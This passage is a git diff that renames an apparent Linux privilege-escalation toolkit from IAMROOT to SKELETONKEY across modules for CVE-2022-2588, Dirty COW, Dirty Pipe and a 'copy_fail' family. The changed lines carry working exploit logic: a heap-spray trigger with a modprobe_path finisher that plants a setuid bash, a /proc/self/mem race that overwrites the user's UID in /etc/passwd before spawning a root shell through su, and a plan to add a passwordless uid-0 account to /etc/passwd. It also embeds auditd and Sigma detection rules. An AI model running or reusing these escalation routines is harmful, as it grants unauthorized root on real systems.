unresolved; refusing\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } - iamroot_offsets_print(&off); + skeletonkey_offsets_print(&off); full_chain_ready = true; } @@ -607,7 +607,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx) pid_t child = fork(); if (child < 0) { perror("fork"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } if (child == 0) { @@ -652,7 +652,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx) /* Best-effort empirical witness write — picked up by --cleanup * and by post-run triage. */ - FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w"); + FILE *log = fopen("/tmp/skeletonkey-cls_route4.log", "w"); if (log) { fprintf(log, "cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n", @@ -674,18 +674,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx) * kernel a second chance at the refilled slot — the * dangling filter is still in place from above. */ arb_ctx.dangling_ready = true; - int fr = iamroot_finisher_modprobe_path(&off, + int fr = skeletonkey_finisher_modprobe_path(&off, cls4_arb_write, &arb_ctx, !ctx->no_shell); - FILE *fl = fopen("/tmp/iamroot-cls_route4.log", "a"); + FILE *fl = fopen("/tmp/skeletonkey-cls_route4.log", "a"); if (fl) { fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n", fr, arb_ctx.arb_calls, arb_ctx.arb_landed); fclose(fl); } drain_msg_msg(arb_ctx.queues); - if (fr == IAMROOT_EXPLOIT_OK) _exit(34); + if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); _exit(35); } @@ -709,7 +709,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx) pid_t w = waitpid(child, &status, 0); if (w < 0) { perror("waitpid"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } if (WIFSIGNALED(status)) { @@ -724,14 +724,14 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx) * claim root — we haven't escalated. */ fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but " "no cred-overwrite primitive — returning EXPLOIT_FAIL " - "(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n"); - return IAMROOT_EXPLOIT_FAIL; + "(no shell). See /tmp/skeletonkey-cls_route4.log + dmesg.\n"); + return SKELETONKEY_EXPLOIT_FAIL; } if (!WIFEXITED(status)) { fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n", status); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } int rc = WEXITSTATUS(status); @@ -740,19 +740,19 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; case 22: if (!ctx->json) { fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module " "may be absent or filter type unsupported\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; case 23: if (!ctx->json) { fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be " "restricted (kernel.msg_max / ulimit -q)\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; case 30: if (!ctx->json) { fprintf(stderr, "[*] cls_route4: trigger ran to completion. " @@ -760,34 +760,34 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx) fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked " "(no --full-chain); returning EXPLOIT_FAIL.\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; case 34: if (!ctx->json) { fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK " "(setuid bash placed; sentinel matched)\n"); } - return IAMROOT_EXPLOIT_OK; + return SKELETONKEY_EXPLOIT_OK; case 35: if (!ctx->json) { fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — " "either the kernel is patched, the spray didn't land,\n" " or the fake-ops deref didn't hit the route the\n" " finisher's sentinel polls for. See " - "/tmp/iamroot-cls_route4.log + dmesg.\n"); + "/tmp/skeletonkey-cls_route4.log + dmesg.\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; default: if (!ctx->json) { fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } #endif /* __linux__ */ } /* ---- Cleanup ----------------------------------------------------- */ -static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx) +static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx) { if (!ctx->json) { fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n"); @@ -797,21 +797,21 @@ static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx) * the exploit with extended privileges (e.g. as root) and the * interface lingered in init_net. */ if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ } - if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) { + if (unlink("/tmp/skeletonkey-cls_route4.log") < 0 && errno != ENOENT) { /* ignore */ } - return IAMROOT_OK; + return SKELETONKEY_OK; } static const char cls_route4_auditd[] = "# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n" "# Flag tc filter operations with route4 classifier from non-root.\n" "# False positives: legitimate traffic-shaping setup. Tune by user.\n" - "-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n" - "-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n" - "-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n"; + "-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k skeletonkey-cls-route4\n" + "-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n" + "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n"; -const struct iamroot_module cls_route4_module = { +const struct skeletonkey_module cls_route4_module = { .name = "cls_route4", .cve = "CVE-2022-2588", .summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W", @@ -827,7 +827,7 @@ const struct iamroot_module cls_route4_module = { .detect_falco = NULL, }; -void iamroot_register_cls_route4(void) +void skeletonkey_register_cls_route4(void) { - iamroot_register(&cls_route4_module); + skeletonkey_register(&cls_route4_module); } diff --git a/modules/cls_route4_cve_2022_2588/skeletonkey_modules.h b/modules/cls_route4_cve_2022_2588/skeletonkey_modules.h new file mode 100644 index 0000000..4c1acfc --- /dev/null +++ b/modules/cls_route4_cve_2022_2588/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * cls_route4_cve_2022_2588 — SKELETONKEY module registry hook + */ + +#ifndef CLS_ROUTE4_SKELETONKEY_MODULES_H +#define CLS_ROUTE4_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module cls_route4_module; + +#endif diff --git a/modules/copy_fail_family/iamroot_modules.h b/modules/copy_fail_family/iamroot_modules.h deleted file mode 100644 index 93de48f..0000000 --- a/modules/copy_fail_family/iamroot_modules.h +++ /dev/null @@ -1,28 +0,0 @@ -/* - * copy_fail_family — IAMROOT module registry hooks - * - * The family currently contains five iamroot_module entries: - * - * - copy_fail (CVE-2026-31431, algif_aead authencesn) - * - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant) - * - dirty_frag_esp (CVE-2026-43284 v4) - * - dirty_frag_esp6 (CVE-2026-43284 v6) - * - dirty_frag_rxrpc (CVE-2026-43500) - * - * Defined in iamroot_modules.c, registered into the global registry - * by iamroot_register_copy_fail_family() (declared in - * core/registry.h). - */ - -#ifndef COPY_FAIL_FAMILY_IAMROOT_MODULES_H -#define COPY_FAIL_FAMILY_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module copy_fail_module; -extern const struct iamroot_module copy_fail_gcm_module; -extern const struct iamroot_module dirty_frag_esp_module; -extern const struct iamroot_module dirty_frag_esp6_module; -extern const struct iamroot_module dirty_frag_rxrpc_module; - -#endif diff --git a/modules/copy_fail_family/iamroot_modules.c b/modules/copy_fail_family/skeletonkey_modules.c similarity index 68% rename from modules/copy_fail_family/iamroot_modules.c rename to modules/copy_fail_family/skeletonkey_modules.c index 3313ae7..32614db 100644 --- a/modules/copy_fail_family/iamroot_modules.c +++ b/modules/copy_fail_family/skeletonkey_modules.c @@ -1,21 +1,21 @@ /* - * copy_fail_family — IAMROOT module bridge layer + * copy_fail_family — SKELETONKEY module bridge layer * * Wraps the existing per-CVE detect/exploit functions (from the - * absorbed DIRTYFAIL codebase) as standard iamroot_module entries. + * absorbed DIRTYFAIL codebase) as standard skeletonkey_module entries. * * The bridge functions translate between the family's df_result_t - * (defined in src/common.h) and iamroot_result_t (defined in + * (defined in src/common.h) and skeletonkey_result_t (defined in * core/module.h). Numeric values are identical by design so the * translation is a direct cast. * - * iamroot_ctx fields (no_color, json, active_probe, no_shell) are + * skeletonkey_ctx fields (no_color, json, active_probe, no_shell) are * forwarded to the family's existing global flags before each * callback. This preserves DIRTYFAIL's existing CLI semantics * unchanged. */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "src/common.h" @@ -28,7 +28,7 @@ #include -static void apply_ctx(const struct iamroot_ctx *ctx) +static void apply_ctx(const struct skeletonkey_ctx *ctx) { dirtyfail_use_color = !ctx->no_color; dirtyfail_active_probes = ctx->active_probe; @@ -54,13 +54,13 @@ static void apply_ctx(const struct iamroot_ctx *ctx) #define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf" -static iamroot_result_t copy_fail_family_mitigate(const struct iamroot_ctx *ctx) +static skeletonkey_result_t copy_fail_family_mitigate(const struct skeletonkey_ctx *ctx) { apply_ctx(ctx); - return (iamroot_result_t)mitigate_apply(); + return (skeletonkey_result_t)mitigate_apply(); } -static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx) +static skeletonkey_result_t copy_fail_family_cleanup(const struct skeletonkey_ctx *ctx) { apply_ctx(ctx); struct stat st; @@ -69,27 +69,27 @@ static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx) fprintf(stderr, "[*] copy_fail_family: detected mitigation conf " "(%s); reverting mitigation\n", CFF_MITIGATE_CONF); } - return (iamroot_result_t)mitigate_revert(); + return (skeletonkey_result_t)mitigate_revert(); } if (!ctx->json) { fprintf(stderr, "[*] copy_fail_family: no mitigation conf; " "evicting /etc/passwd from page cache\n"); } - return try_revert_passwd_page_cache() ? IAMROOT_OK : IAMROOT_TEST_ERROR; + return try_revert_passwd_page_cache() ? SKELETONKEY_OK : SKELETONKEY_TEST_ERROR; } /* ----- copy_fail (CVE-2026-31431) ----- */ -static iamroot_result_t copy_fail_detect_wrap(const struct iamroot_ctx *ctx) +static skeletonkey_result_t copy_fail_detect_wrap(const struct skeletonkey_ctx *ctx) { apply_ctx(ctx); - return (iamroot_result_t)copyfail_detect(); + return (skeletonkey_result_t)copyfail_detect(); } -static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx) +static skeletonkey_result_t copy_fail_exploit_wrap(const struct skeletonkey_ctx *ctx) { apply_ctx(ctx); - return (iamroot_result_t)copyfail_exploit(!ctx->no_shell); + return (skeletonkey_result_t)copyfail_exploit(!ctx->no_shell); } /* Shared detection rules for the copy_fail family — every member of @@ -99,19 +99,19 @@ static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx) static const char copy_fail_family_auditd[] = "# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n" "# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n" - "-w /etc/passwd -p wa -k iamroot-copy-fail\n" - "-w /etc/shadow -p wa -k iamroot-copy-fail\n" - "-w /etc/sudoers -p wa -k iamroot-copy-fail\n" - "-w /etc/sudoers.d -p wa -k iamroot-copy-fail\n" - "-w /usr/bin/su -p wa -k iamroot-copy-fail\n" + "-w /etc/passwd -p wa -k skeletonkey-copy-fail\n" + "-w /etc/shadow -p wa -k skeletonkey-copy-fail\n" + "-w /etc/sudoers -p wa -k skeletonkey-copy-fail\n" + "-w /etc/sudoers.d -p wa -k skeletonkey-copy-fail\n" + "-w /usr/bin/su -p wa -k skeletonkey-copy-fail\n" "# AF_ALG socket creation by non-root — heavily used by exploit\n" - "-a always,exit -F arch=b64 -S socket -F a0=38 -k iamroot-copy-fail-afalg\n" + "-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-copy-fail-afalg\n" "# xfrm SA setup (Dirty Frag ESP variants)\n" - "-a always,exit -F arch=b64 -S setsockopt -k iamroot-copy-fail-xfrm\n"; + "-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-copy-fail-xfrm\n"; static const char copy_fail_family_sigma[] = "title: Copy Fail / Dirty Frag family exploitation\n" - "id: 4d8e6c2a-iamroot-copy-fail-family\n" + "id: 4d8e6c2a-skeletonkey-copy-fail-family\n" "status: experimental\n" "description: |\n" " Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n" @@ -127,7 +127,7 @@ static const char copy_fail_family_sigma[] = "level: high\n" "tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n"; -const struct iamroot_module copy_fail_module = { +const struct skeletonkey_module copy_fail_module = { .name = "copy_fail", .cve = "CVE-2026-31431", .summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip", @@ -145,19 +145,19 @@ const struct iamroot_module copy_fail_module = { /* ----- copy_fail_gcm (variant, no CVE) ----- */ -static iamroot_result_t copy_fail_gcm_detect_wrap(const struct iamroot_ctx *ctx) +static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx) { apply_ctx(ctx); - return (iamroot_result_t)copyfail_gcm_detect(); + return (skeletonkey_result_t)copyfail_gcm_detect(); } -static iamroot_result_t copy_fail_gcm_exploit_wrap(const struct iamroot_ctx *ctx) +static skeletonkey_result_t copy_fail_gcm_exploit_wrap(const struct skeletonkey_ctx *ctx) { apply_ctx(ctx); - return (iamroot_result_t)copyfail_gcm_exploit(!ctx->no_shell); + return (skeletonkey_result_t)copyfail_gcm_exploit(!ctx->no_shell); } -const struct iamroot_module copy_fail_gcm_module = { +const struct skeletonkey_module copy_fail_gcm_module = { .name = "copy_fail_gcm", .cve = "VARIANT", .summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)", @@ -175,19 +175,19 @@ const struct iamroot_module copy_fail_gcm_module = { /* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */ -static iamroot_result_t dirty_frag_esp_detect_wrap(const struct iamroot_ctx *ctx) +static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx) { apply_ctx(ctx); - return (iamroot_result_t)dirtyfrag_esp_detect(); + return (skeletonkey_result_t)dirtyfrag_esp_detect(); } -static iamroot_result_t dirty_frag_esp_exploit_wrap(const struct iamroot_ctx *ctx) +static skeletonkey_result_t dirty_frag_esp_exploit_wrap(const struct skeletonkey_ctx *ctx) { apply_ctx(ctx); - return (iamroot_result_t)dirtyfrag_esp_exploit(!ctx->no_shell); + return (skeletonkey_result_t)dirtyfrag_esp_exploit(!ctx->no_shell); } -const struct iamroot_module dirty_frag_esp_module = { +const struct skeletonkey_module dirty_frag_esp_module = { .name = "dirty_frag_esp", .cve = "CVE-2026-43284", .summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)", @@ -205,19 +205,19 @@ const struct iamroot_module dirty_frag_esp_module = { /* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */ -static iamroot_result_t dirty_frag_esp6_detect_wrap(const struct iamroot_ctx *ctx) +static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx) { apply_ctx(ctx); - return (iamroot_result_t)dirtyfrag_esp6_detect(); + return (skeletonkey_result_t)dirtyfrag_esp6_detect(); } -static iamroot_result_t dirty_frag_esp6_exploit_wrap(const struct iamroot_ctx *ctx) +static skeletonkey_result_t dirty_frag_esp6_exploit_wrap(const struct skeletonkey_ctx *ctx) { apply_ctx(ctx); - return (iamroot_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell); + return (skeletonkey_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell); } -const struct iamroot_module dirty_frag_esp6_module = { +const struct skeletonkey_module dirty_frag_esp6_module = { .name = "dirty_frag_esp6", .cve = "CVE-2026-43284", .summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)", @@ -235,19 +235,19 @@ const struct iamroot_module dirty_frag_esp6_module = { /* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */ -static iamroot_result_t dirty_frag_rxrpc_detect_wrap(const struct iamroot_ctx *ctx) +static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx) { apply_ctx(ctx); - return (iamroot_result_t)dirtyfrag_rxrpc_detect(); + return (skeletonkey_result_t)dirtyfrag_rxrpc_detect(); } -static iamroot_result_t dirty_frag_rxrpc_exploit_wrap(const struct iamroot_ctx *ctx) +static skeletonkey_result_t dirty_frag_rxrpc_exploit_wrap(const struct skeletonkey_ctx *ctx) { apply_ctx(ctx); - return (iamroot_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell); + return (skeletonkey_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell); } -const struct iamroot_module dirty_frag_rxrpc_module = { +const struct skeletonkey_module dirty_frag_rxrpc_module = { .name = "dirty_frag_rxrpc", .cve = "CVE-2026-43500", .summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)", @@ -265,11 +265,11 @@ const struct iamroot_module dirty_frag_rxrpc_module = { /* ----- Family registration ----- */ -void iamroot_register_copy_fail_family(void) +void skeletonkey_register_copy_fail_family(void) { - iamroot_register(©_fail_module); - iamroot_register(©_fail_gcm_module); - iamroot_register(&dirty_frag_esp_module); - iamroot_register(&dirty_frag_esp6_module); - iamroot_register(&dirty_frag_rxrpc_module); + skeletonkey_register(©_fail_module); + skeletonkey_register(©_fail_gcm_module); + skeletonkey_register(&dirty_frag_esp_module); + skeletonkey_register(&dirty_frag_esp6_module); + skeletonkey_register(&dirty_frag_rxrpc_module); } diff --git a/modules/copy_fail_family/skeletonkey_modules.h b/modules/copy_fail_family/skeletonkey_modules.h new file mode 100644 index 0000000..2f48be6 --- /dev/null +++ b/modules/copy_fail_family/skeletonkey_modules.h @@ -0,0 +1,28 @@ +/* + * copy_fail_family — SKELETONKEY module registry hooks + * + * The family currently contains five skeletonkey_module entries: + * + * - copy_fail (CVE-2026-31431, algif_aead authencesn) + * - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant) + * - dirty_frag_esp (CVE-2026-43284 v4) + * - dirty_frag_esp6 (CVE-2026-43284 v6) + * - dirty_frag_rxrpc (CVE-2026-43500) + * + * Defined in skeletonkey_modules.c, registered into the global registry + * by skeletonkey_register_copy_fail_family() (declared in + * core/registry.h). + */ + +#ifndef COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H +#define COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module copy_fail_module; +extern const struct skeletonkey_module copy_fail_gcm_module; +extern const struct skeletonkey_module dirty_frag_esp_module; +extern const struct skeletonkey_module dirty_frag_esp6_module; +extern const struct skeletonkey_module dirty_frag_rxrpc_module; + +#endif diff --git a/modules/dirty_cow_cve_2016_5195/NOTICE.md b/modules/dirty_cow_cve_2016_5195/NOTICE.md index 668bbf9..0c41b61 100644 --- a/modules/dirty_cow_cve_2016_5195/NOTICE.md +++ b/modules/dirty_cow_cve_2016_5195/NOTICE.md @@ -13,7 +13,7 @@ the kernel since ~2007. Original advisory: Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016). -## IAMROOT role +## SKELETONKEY role Two-thread Phil-Oester-style race: writer thread via `/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the diff --git a/modules/dirty_cow_cve_2016_5195/iamroot_modules.h b/modules/dirty_cow_cve_2016_5195/iamroot_modules.h deleted file mode 100644 index 8f41859..0000000 --- a/modules/dirty_cow_cve_2016_5195/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * dirty_cow_cve_2016_5195 — IAMROOT module registry hook - */ - -#ifndef DIRTY_COW_IAMROOT_MODULES_H -#define DIRTY_COW_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module dirty_cow_module; - -#endif diff --git a/modules/dirty_cow_cve_2016_5195/iamroot_modules.c b/modules/dirty_cow_cve_2016_5195/skeletonkey_modules.c similarity index 90% rename from modules/dirty_cow_cve_2016_5195/iamroot_modules.c rename to modules/dirty_cow_cve_2016_5195/skeletonkey_modules.c index a38aef4..95ca46d 100644 --- a/modules/dirty_cow_cve_2016_5195/iamroot_modules.c +++ b/modules/dirty_cow_cve_2016_5195/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * dirty_cow_cve_2016_5195 — IAMROOT module + * dirty_cow_cve_2016_5195 — SKELETONKEY module * * The iconic CVE-2016-5195. COW race in get_user_pages() / fault * handling: a thread writing to /proc/self/mem races a thread calling @@ -41,7 +41,7 @@ * - execve(su) → shell with uid=0 */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" @@ -224,14 +224,14 @@ static void revert_passwd_page_cache(void) } } -/* ---- iamroot interface ---- */ +/* ---- skeletonkey interface ---- */ -static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } bool patched = kernel_range_is_patched(&dirty_cow_range, &v); @@ -239,7 +239,7 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } if (!ctx->json) { fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n", @@ -247,26 +247,26 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[i] dirty_cow: --exploit will race a write to " "/etc/passwd via /proc/self/mem\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } -static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx) { - iamroot_result_t pre = dirty_cow_detect(ctx); - if (pre != IAMROOT_VULNERABLE) { + skeletonkey_result_t pre = dirty_cow_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n"); return pre; } if (geteuid() == 0) { fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } struct passwd *pw = getpwuid(geteuid()); if (!pw) { fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno)); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } off_t uid_off; @@ -275,7 +275,7 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx) if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) { fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n", pw->pw_name); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } if (!ctx->json) { fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n", @@ -292,12 +292,12 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx) } if (dirty_cow_write(uid_off, replacement, uid_len) < 0) { fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (ctx->no_shell) { fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n"); - return IAMROOT_EXPLOIT_OK; + return SKELETONKEY_EXPLOIT_OK; } fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n"); @@ -305,17 +305,17 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx) execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL); perror("execlp(su)"); revert_passwd_page_cache(); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } -static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx) +static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx) { (void)ctx; if (!ctx->json) { fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n"); } revert_passwd_page_cache(); - return IAMROOT_OK; + return SKELETONKEY_OK; } /* ---- Embedded detection rules ---- */ @@ -325,14 +325,14 @@ static const char dirty_cow_auditd[] = "# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n" "# False-positive surface: debuggers, gdb, strace — all legit users of\n" "# /proc/self/mem. Combine with the file watches below to triangulate.\n" - "-w /proc/self/mem -p wa -k iamroot-dirty-cow\n" - "-w /etc/passwd -p wa -k iamroot-dirty-cow\n" - "-w /etc/shadow -p wa -k iamroot-dirty-cow\n" - "-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n"; + "-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n" + "-w /etc/passwd -p wa -k skeletonkey-dirty-cow\n" + "-w /etc/shadow -p wa -k skeletonkey-dirty-cow\n" + "-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n"; static const char dirty_cow_sigma[] = "title: Possible Dirty COW exploitation (CVE-2016-5195)\n" - "id: 1e2c5d8f-iamroot-dirty-cow\n" + "id: 1e2c5d8f-skeletonkey-dirty-cow\n" "status: experimental\n" "description: |\n" " Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n" @@ -350,7 +350,7 @@ static const char dirty_cow_sigma[] = "level: high\n" "tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n"; -const struct iamroot_module dirty_cow_module = { +const struct skeletonkey_module dirty_cow_module = { .name = "dirty_cow", .cve = "CVE-2016-5195", .summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)", @@ -366,7 +366,7 @@ const struct iamroot_module dirty_cow_module = { .detect_falco = NULL, }; -void iamroot_register_dirty_cow(void) +void skeletonkey_register_dirty_cow(void) { - iamroot_register(&dirty_cow_module); + skeletonkey_register(&dirty_cow_module); } diff --git a/modules/dirty_cow_cve_2016_5195/skeletonkey_modules.h b/modules/dirty_cow_cve_2016_5195/skeletonkey_modules.h new file mode 100644 index 0000000..a61ff7d --- /dev/null +++ b/modules/dirty_cow_cve_2016_5195/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * dirty_cow_cve_2016_5195 — SKELETONKEY module registry hook + */ + +#ifndef DIRTY_COW_SKELETONKEY_MODULES_H +#define DIRTY_COW_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module dirty_cow_module; + +#endif diff --git a/modules/dirty_pipe_cve_2022_0847/MODULE.md b/modules/dirty_pipe_cve_2022_0847/MODULE.md index 417a660..e05e063 100644 --- a/modules/dirty_pipe_cve_2022_0847/MODULE.md +++ b/modules/dirty_pipe_cve_2022_0847/MODULE.md @@ -25,7 +25,7 @@ by them. Even in 2026, many production deployments still run vulnerable kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe -makes IAMROOT useful as a "historical sweep" tool on long-tail +makes SKELETONKEY useful as a "historical sweep" tool on long-tail systems. ## Implementation plan @@ -34,8 +34,8 @@ systems. `NOTICE.md` when implemented) - `detect()`: kernel version check + `/proc/version` parse + test for fixed-version backports -- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into - `/etc/passwd`, then `su iamroot` — same shape as copy_fail's +- `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into + `/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's backdoor mode - Detection rules: auditd on splice() calls + pipe write patterns, filesystem audit on `/etc/passwd` modification by non-root @@ -44,4 +44,4 @@ systems. Pick this up after Phase 1 (module-interface refactor of the copy_fail family) so this module can use the standard -`iamroot_module` shape from the start. +`skeletonkey_module` shape from the start. diff --git a/modules/dirty_pipe_cve_2022_0847/NOTICE.md b/modules/dirty_pipe_cve_2022_0847/NOTICE.md index 3fb7fa7..c89dd97 100644 --- a/modules/dirty_pipe_cve_2022_0847/NOTICE.md +++ b/modules/dirty_pipe_cve_2022_0847/NOTICE.md @@ -13,7 +13,7 @@ Original advisory: Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022). -## IAMROOT role +## SKELETONKEY role This module bundles the canonical splice-into-pipe primitive that writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell diff --git a/modules/dirty_pipe_cve_2022_0847/detect/auditd.rules b/modules/dirty_pipe_cve_2022_0847/detect/auditd.rules index da14527..d3b297e 100644 --- 